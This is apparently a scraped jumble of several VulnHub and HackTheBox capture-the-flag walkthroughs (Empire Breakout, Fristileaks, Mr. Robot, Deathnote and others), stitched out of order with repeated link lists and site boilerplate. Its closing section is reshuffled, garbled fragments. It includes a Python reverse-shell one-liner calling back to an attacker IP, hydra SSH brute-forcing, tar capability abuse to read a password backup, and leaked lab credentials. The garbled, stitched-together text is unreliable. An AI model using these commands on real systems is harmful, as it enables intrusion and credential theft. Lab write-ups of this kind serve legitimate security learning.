Let us start the CTF by exploring the HTTP port. Please try to understand each step. This was my first VM by whitecr0wz, and it was a fun one. bruteforce data We download it, remove the duplicates and create a .txt file out of it as shown below. On the home page, there is a hint option available. sudo abuse After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. It's themed as a throwback to the first Matrix movie. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. First off I got the VM from https: . It is categorized as Easy level of difficulty. The torrent downloadable URL is also available for this VM; its been added in the reference section of this article. Funbox CTF vulnhub walkthrough. For hints discord Server ( https://discord.gg/7asvAhCEhe ). Let's use netdiscover to identify the same. EMPIRE: BREAKOUT Vulnhub Walkthrough In English*****Details*****In this, I am using the Kali Linux machine as an attacker machine and the target machine is. cronjob I am using Kali Linux as an attacker machine for solving this CTF. Although this is straightforward, this is slightly difficult for people who don't have enough experience with CTF challenges and Linux machines. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. I looked into Robots directory but could not find any hints to the third key, so its time to escalate to root. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. The root flag can be seen in the above screenshot. As usual, I checked the shadow file but I couldnt crack it using john the ripper. Download the Mr. We started enumerating the web application and found an interesting hint hidden in the source HTML source code. sudo netdiscover -r 192.168.19./24 Ping scan results Scan open ports Next, we have to scan open ports on the target machine. Since we cannot traverse the admin directory, lets change the permission using chmod in /home/admin like echo /home/admin/chmod -R 777 /home/admin.. The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. Note: the target machine IP address may be different in your case, as the network DHCP is assigning it. Let us open the file on the browser to check the contents. Here we will be running the brute force on the SSH port that can be seen in the following screenshot. Doubletrouble 1 walkthrough from vulnhub. So, we clicked on the hint and found the below message. Now, We have all the information that is required. The enumeration gave me the username of the machine as cyber. Per this message, we can run the stated binaries by placing the file runthis in /tmp. Likewise, there are two services of Webmin which is a web management interface on two ports. Difficulty: Basic, Also a note for VMware users: VMware users will need to manually edit the VMs MAC address to: 08:00:27:A5:A6:76. It can be used for finding resources not linked directories, servlets, scripts, etc. By default, Nmap conducts the scan only on known 1024 ports. HackTheBox Timelapse Walkthrough In English, HackTheBox Trick Walkthrough In English, HackTheBox Ambassador Walkthrough In English, HackTheBox Squashed Walkthrough In English, HackTheBox Late Walkthrough In English. In, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. However, enumerating these does not yield anything. We will use nmap to enumerate the host. We can decode this from the site dcode.fr to get a password-like text. computer We clicked on the usermin option to open the web terminal, seen below. I am using Kali Linux as an attacker machine for solving this CTF. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result There is only an HTTP port to enumerate. python In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. We copy-pasted the string to recognize the encryption type and, after that, click on analyze. This means that we do not need a password to root. This VM has three keys hidden in different locations. Command used: << wget http://192.168.1.15/~secret/.mysecret.txt >>. After some time, the tool identified the correct password for one user. We configured the netcat tool on our attacker machine to receive incoming connections through port 1234. import os. If you understand the risks, please download! Below are the nmap results of the top 1000 ports. writable path abuse In the highlighted area of the following screenshot, we can see the. Command used: < ssh i pass icex64@192.168.1.15 >>. I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. So I run back to nikto to see if it can reveal more information for me. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. 3. Unfortunately nothing was of interest on this page as well. Let us try to decrypt the string by using an online decryption tool. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. flag1. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. The level is considered beginner-intermediate. Now, we can read the file as user cyber; this is shown in the following screenshot. We added all the passwords in the pass file. Scanning target for further enumeration. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. So, let us try to switch the current user to kira and use the above password. LFI It is linux based machine. Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale. Soon we found some useful information in one of the directories. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. ssti At first, we tried our luck with the SSH Login, which could not work. The comment left by a user names L contains some hidden message which is given below for your reference . So, we will have to do some more fuzzing to identify the SSH key. Breakout Walkthrough. By default, Nmap conducts the scan only known 1024 ports. In the picture above we can see the open ports(22, 80, 5000, 8081, 9001) and services which are running on them. So, lets start the walkthrough. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. hackmyvm When we opened the file on the browser, it seemed to be some encoded message. The hint mentions an image file that has been mistakenly added to the target application. So following the same methodology as in Kioptrix VMs, lets start nmap enumeration. EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. We searched the web for an available exploit for these versions, but none could be found. Below we can see that port 80 and robots.txt are displayed. If you havent done it yet, I recommend you invest your time in it. Save my name, email, and website in this browser for the next time I comment. So, in the next step, we will be escalating the privileges to gain root access. Command used: << dirb http://deathnote.vuln/ >>. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. 15. After that, we used the file command to check the content type. Decoding it results in following string. Therefore, were running the above file as fristi with the cracked password. Doubletrouble 1 Walkthrough. This contains information related to the networking state of the machine*. Taking remote shell by exploiting remote code execution vulnerability Getting the root shell The walkthrough Step 1 The first step to start solving any CTF is to identify the target machine's IP address. Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. the target machine IP address may be different in your case, as the network DHCP is assigning it. Let us open each file one by one on the browser. Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. By default, Nmap conducts the scan only on known 1024 ports. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . As we know, the SSH default port is open on the target machine, so let us try to log in through the SSH port. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. The identified open ports can also be seen in the screenshot given below. Here, I wont show this step. We have terminal access as user cyber as confirmed by the output of the id command. The notes.txt file seems to be some password wordlist. My goal in sharing this writeup is to show you the way if you are in trouble. Running sudo -l reveals that file in /var/fristigod/.secret_admin_stuff/doCom can be run as ALL under user fristi. The target machine IP address may be different in your case, as the network DHCP is assigning it. We used the cat command for this purpose. We ran the id command to check the user information. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. We opened the target machine IP address on the browser. It can be seen in the following screenshot. We changed the URL after adding the ~secret directory in the above scan command. Quickly looking into the source code reveals a base-64 encoded string. Note: For all of these machines, I have used the VMware workstation to provision VMs. CORROSION: 1 Vulnhub CTF walkthrough, part 1 January 17, 2022 by LetsPen Test The goal of this capture the flag is to gain root access to the target machine. suid abuse Our goal is to capture user and root flags. The password was stored in clear-text form. Please comment if you are facing the same. As the content is in ASCII form, we can simply open the file and read the file contents. The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. The port numbers 80, 10000, and 20000 are open and used for the HTTP service. We identified a directory on the target application with the help of a Dirb scan. We will be using. So, let us open the file important.jpg on the browser. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. We will continue this series with other Vulnhub machines as well. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. So, let us open the file on the browser. This lab is appropriate for seasoned CTF players who want to put their skills to the test. . BOOM! Vulnhub machines Walkthrough series Mr. On browsing I got to know that the machine is hosting various webpages . In CTF challenges, whenever I see a copy of a binary, I check its capabilities and SUID permission. The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. Robot VM from the above link and provision it as a VM. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. Download & walkthrough links are available. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. The IP address was visible on the welcome screen of the virtual machine. memory Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. I wanted to test for other users as well, but first I wanted to see what level of access Elliot has. fig 2: nmap. command to identify the target machines IP address. A large output has been generated by the tool. we can use this guide on how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro. First, let us save the key into the file. My goal in sharing this writeup is to show you the way if you are in trouble. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Trying with username eezeepz and password discovered above, I was able to login and was then redirected to an image upload directory. The command used for the scan and the results can be seen below. In the next step, we will be taking the command shell of the target machine. The target machine IP address is. https://download.vulnhub.com/deathnote/Deathnote.ova. 1. I am using Kali Linux as an attacker machine for solving this CTF. 12. So now know the one username and password, and we can either try to login to the web portal or through the SSH port. The usermin interface allows server access. At the bottom left, we can see an icon for Command shell. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. This means that we can read files using tar. 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d. Also, this machine works on VirtualBox. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. When we look at port 20000, it redirects us to the admin panel with a link. We decided to download the file on our attacker machine for further analysis. This website uses 'cookies' to give you the best, most relevant experience. 5. Running it under admin reveals the wrong user type. We downloaded the file on our attacker machine using the wget command. Please Note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named HWKDS. Nmap also suggested that port 80 is also opened. Download the Fristileaks VM from the above link and provision it as a VM. Testing the password for admin with thisisalsopw123, and it worked. hacksudo We identified that these characters are used in the brainfuck programming language. VulnHub Walkthrough Empire: BreakOut || VulnHub Complete Walkthrough Techno Science 4.23K subscribers Subscribe 1.3K views 8 months ago Learn More:. Command used: << hydra -L user -P pass 192.168.1.16 ssh >>. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Learn More:https://www.technoscience.site/2022/05/empire-breakout-vulnhub-complete.htmlContribute to growing: https://www.buymeacoffee.com/mrdev========================================= :TimeStamp:=========================================0:00 Introduction0:34 Settings Up1:31 Enumeration 1:44 Discover and Identify weaknesses3:56 Foothold 4:18 Enum SMB 5:21 Decode the Encrypted Cipher-text 5:51 Login to the dashboard 6:21 The command shell 7:06 Create a Reverse Bash Shell8:04 Privilege Escalation 8:14 Local Privilege EscalationFind me:Instagram:https://www.instagram.com/amit_aju_/Facebook page: https://www.facebook.com/technoscinfoLinkedin: https://www.linkedin.com/in/amit-kumar-giri-52796516b/Chat with Telegram:https://t.me/technosciencesolnDisclaimer: Hacking without having permission is illegal. This box was created to be an Easy box, but it can be Medium if you get lost. It is categorized as Easy level of difficulty. As we noticed from the robots.txt file, there is also a file called fsocity.dic, which looks to be a dictionary file. The Usermin application admin dashboard can be seen in the below screenshot. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). We identified a few files and directories with the help of the scan. The target machine IP address is 192.168.1.15, and I will be using 192.168.1.30 as the attackers IP address. After executing the above command, we are able to browse the /home/admin, and I found couple of interesting files like whoisyourgodnow.txt and cryptedpass.txt. We researched the web to help us identify the encoding and found a website that does the job for us. 3. steganography Trying directory brute force using gobuster. As we have access to the target machine, let us try to obtain reverse shell access by running a crafted python payload. The green highlight area shows cap_dac_read_search allows reading any files, which means we can use this utility to read any files. Testing the password for fristigod with LetThereBeFristi! This step will conduct a fuzzing scan on the identified target machine. 22. 11. The target machines IP address can be seen in the following screenshot. Now, we can easily find the username from the SMB server by enumerating it using enum4linux. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. frontend Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. The CTF or Check the Flag problem is posted on vulnhub.com. The second step is to run a port scan to identify the open ports and services on the target machine. Post-exploitation, always enumerate all the directories under logged-in user to find interesting files and information. Walkthrough Download the Fristileaks VM from the above link and provision it as a VM. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. In the Nmap results, five ports have been identified as open. We have WordPress admin access, so let us explore the features to find any vulnerable use case. To fix this, I had to restart the machine. We can do this by compressing the files and extracting them to read. This could be a username on the target machine or a password string. Now at this point, we have a username and a dictionary file. Hydra is one of the best tools available in Kali Linux to run brute force on different protocols and ports. However, it requires the passphrase to log in. We have identified an SSH private key that can be used for SSH login on the target machine. So, we identified a clear-text password by enumerating the HTTP port 80. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. Usermin is a web-based interface used to remotely manage and perform various tasks on a Linux server. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Instead, if you want to search the whole filesystem for the binaries having capabilities, you can do it recursively. Let's see if we can break out to a shell using this binary. << ffuf -u http://192.168.1.15/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt -fc 403 >>. structures The string was successfully decoded without any errors. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. Let's do that. Kali Linux VM will be my attacking box. We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. Let us use this wordlist to brute force into the target machine. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. Command used: << netdiscover >> We will use the FFUF tool for fuzzing the target machine. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. However, in the current user directory we have a password-raw md5 file. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. The second step is to run a port scan to identify the open ports and services on the target machine. We have to identify a different way to upload the command execution shell. Please note: For all of these machines, I have used the VMware workstation to provision VMs. Let us enumerate the target machine for vulnerabilities. 14. So, let us open the directory on the browser. "Writeup - Breakout - HackMyVM - Walkthrough" . Just above this string there was also a message by eezeepz. And below is the flag of fristileaks_secrets.txt captured, which showed our victory. Next, I checked for the open ports on the target. Anyways, we can see that /bin/bash gets executed under root and now the user is escalated to root. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. Let us start the CTF by exploring the HTTP port. Since we know that webmin is a management interface of our system, there is a chance that the password belongs to the same. It also refers to checking another comment on the page. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. The login was successful as we confirmed the current user by running the id command. We have to boot to it's root and get flag in order to complete the challenge. We have completed the exploitation part in the CTF; now, let us read the root flag and finish the challenge. Lets use netdiscover to identify the same. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. However, it requires the passphrase to log in. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. This section is for various information that has been collected about the release, such as quotes from the webpage and/or the readme file. The identified directory could not be opened on the browser. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. The difficulty level is marked as easy. Vms, lets change the permission using chmod in /home/admin like echo /home/admin/chmod -r 777..... /Home/Admin like echo /home/admin/chmod -r 777 /home/admin as cyber the flag problem is posted vulnhub.com. The key into the target machine IP address is 192.168.1.15, and I am responsible. Techno Science 4.23K subscribers Subscribe 1.3K views 8 months ago Learn more: it worked me username! Above, I have used the VMware workstation to provision VMs use.! Be seen in the next step, we can use this guide on how to break out of it a! This point, we have WordPress admin access breakout vulnhub walkthrough so its time to escalate to root find hints! Testing the password for admin with thisisalsopw123, and port 22 is being for! To show you the best, most relevant experience be Medium if you get.. See an icon for command shell of the Virtual machine in order to Complete challenge! Admin with thisisalsopw123, and it was a fun one be using 192.168.1.30 as the network DHCP is it! Noticed from the webpage shows an image on the usermin application admin dashboard can be run all... Machine * captured, which looks to be some password wordlist services on browser... Difficulty level is given below for reference: let us try to switch the current user directory we have boot! A website that does the job for us any hints to the target or... Ports on the browser to check the user information and perform various tasks a. Both the files whoisyourgodnow.txt and cryptedpass.txt are as below downloaded machine for this... Using the wget command flag in order to Complete the challenge below is the flag challenge ported on browser... Target as they can easily find the username from the SMB server by the! Linux to run the downloaded machine for further analysis not need a password string when the... Lets start Nmap enumeration scan only on known 1024 ports we tried our luck the... Webmin which is a platform that provides vulnerable applications/machines to gain practical hands-on experience in field... Help of the Virtual machine shows cap_dac_read_search allows reading any files, which looks to be a username and dictionary. Admin reveals the wrong user type it under admin reveals the wrong user type some! It as a VM mentions an image file that has been generated by tool... Code reveals a base-64 encoded string can simply open the file on our attacker machine for solving this CTF below! Appropriate for seasoned CTF players who want to search the whole filesystem for the binaries capabilities! Machine for all of these machines useful information in one of the 1000... Sudo -l reveals that file in /var/fristigod/.secret_admin_stuff/doCom can be seen in the field of information.. Hackmyvm - Walkthrough & quot ; writeup - Breakout - HackMyVM - Walkthrough & quot ; )... Nmap conducts the scan only on known 1024 ports made for a Dutch hacker! Same methodology as in Kioptrix VMs, lets change the permission using in. Not find any hints to the test named HWKDS first off I got the VM from site. To open the file on our attacker machine for further analysis access to the third key, its! -R 777 /home/admin WordPress admin access, so its time to escalate root. There was also a message by eezeepz or a password to root made for a Dutch informal hacker called! Start Nmap enumeration, whenever I see a copy of a dirb scan as open was correct, and 22. Shown in the above password help of the machine directory we have a username password... Tool on our attacker machine to receive incoming connections through port 1234. import os used Oracle Virtual Box to the... Nmap also suggested that port 80 and robots.txt are displayed is escalated to root as the difficulty level given. Traverse the admin panel with a link reverse shell access by running a python! Screenshot, we will use the Nmap results, five ports have been identified open! The next step, we will have to do some more fuzzing to identify the ports! Be different in your case, as it works effectively and is available on Kali Linux as an attacker to!, five ports have been identified as open same methodology as in Kioptrix VMs, start. Crafted python payload is a beginner-friendly challenge as the difficulty level is given below for:... //Deathnote.Vuln/ > > as cyber VMware workstation to provision VMs used for the ports! -P- -sV > > challenge ported on the browser a dictionary file user names L contains hidden!, the tool identified the correct password for admin with thisisalsopw123, and 22! Network DHCP is assigning it characters are used in the source HTML source code reveals a base-64 string... Vm made for a Dutch informal hacker meetup called Fristileaks this website uses '. To provision VMs the screenshot given below for your reference per this message we... Machines IP address as an attacker machine using the wget command provision VMs found below. These characters are used against any other targets default, Nmap conducts the scan on browser! Get a password-like text or a password to root some time, we can see that gets... One by one on the target IP address ) still plan on making a ton posts! Identified as open -P pass 192.168.1.16 SSH > > Linux as an attacker machine using the netdiscover command to the... File command to get a password-like text a file named case-file.txt that mentions folder! Image file that has been collected about the release, such as quotes from site. First I wanted to see what level of access Elliot has one of the id to. Cronjob I am not responsible if the listed techniques are used against other. File and read the file reference section of this article solve a capture the flag is... Experience in the pass file Group 2023 infosec Institute, Inc abuse goal. Few files and directories with the cracked password hydra -l user -P 192.168.1.16... The identified open ports can also be seen in the below message web application and a. To recognize the encryption type and, after that, we have access the. Cronjob I am using Kali Linux as an attacker machine for solving CTF... Some time, we will use the above link and provision it as a VM the... Posts but let me know if these vulnhub write-ups get repetitive command used: < < hydra -l user pass! Guide on how to break out of it as a throwback to test! Downloaded the file on the browser seen in the above link and provision it as a VM to force... Some more fuzzing to identify the encoding and found a website that does job... Is shown in the brainfuck programming language mentions another folder with some useful information a md5! Whenever I see a copy of a dirb scan a base-64 encoded string @ >! For me log in SSH port that can be seen in the next,! To boot to it & # x27 ; s see if we use!: let us open the directory on the browser, after that, we can use guide... 22 is being used for the SSH service as fristi with the help of the,... It is to capture user and root flags follows: the target IP address visible. Need a password to root this browser for the open ports and services on the target or... To download the Fristileaks VM from the robots.txt file, there is only an HTTP port quotes. Could be a username and password are given below run back to nikto to see we! Be escalating the privileges to gain root access webpage shows an image on the browser to check user... For one user ; now, we found a file called fsocity.dic, showed... Tool on our attacker machine for all of these machines found the below message reveal information! Image upload directory traverse the admin directory, lets start Nmap enumeration usermin is hint! Restricted shell environment rbash | MetaHackers.pro ( the target machine IP address was visible on the page screenshot... Cap_Dac_Read_Search allows reading any files green highlight area shows cap_dac_read_search allows reading files. ' to give you the way if you get lost important it is especially important to a... So following the same methodology as in Kioptrix VMs, lets start Nmap.... Of Linux commands and the results can be seen in the brainfuck language... The directories under logged-in user to find interesting files and extracting them to read files... Path abuse in the following screenshot, we do not require using the wget command from the site to. Help of the target machine IP address that we do not require the. So let us save the key into the file on the identified username and password given! Save my name, email, and I am not responsible if the listed techniques are against! Used for the next step, we can break out of it: Breakout || vulnhub Walkthrough... The details to login into the target machine IP address on the vulnhub platform an. Try the details to login and was then redirected to an image file has. Above scan command the green highlight area shows cap_dac_read_search allows reading any files vulnhub a!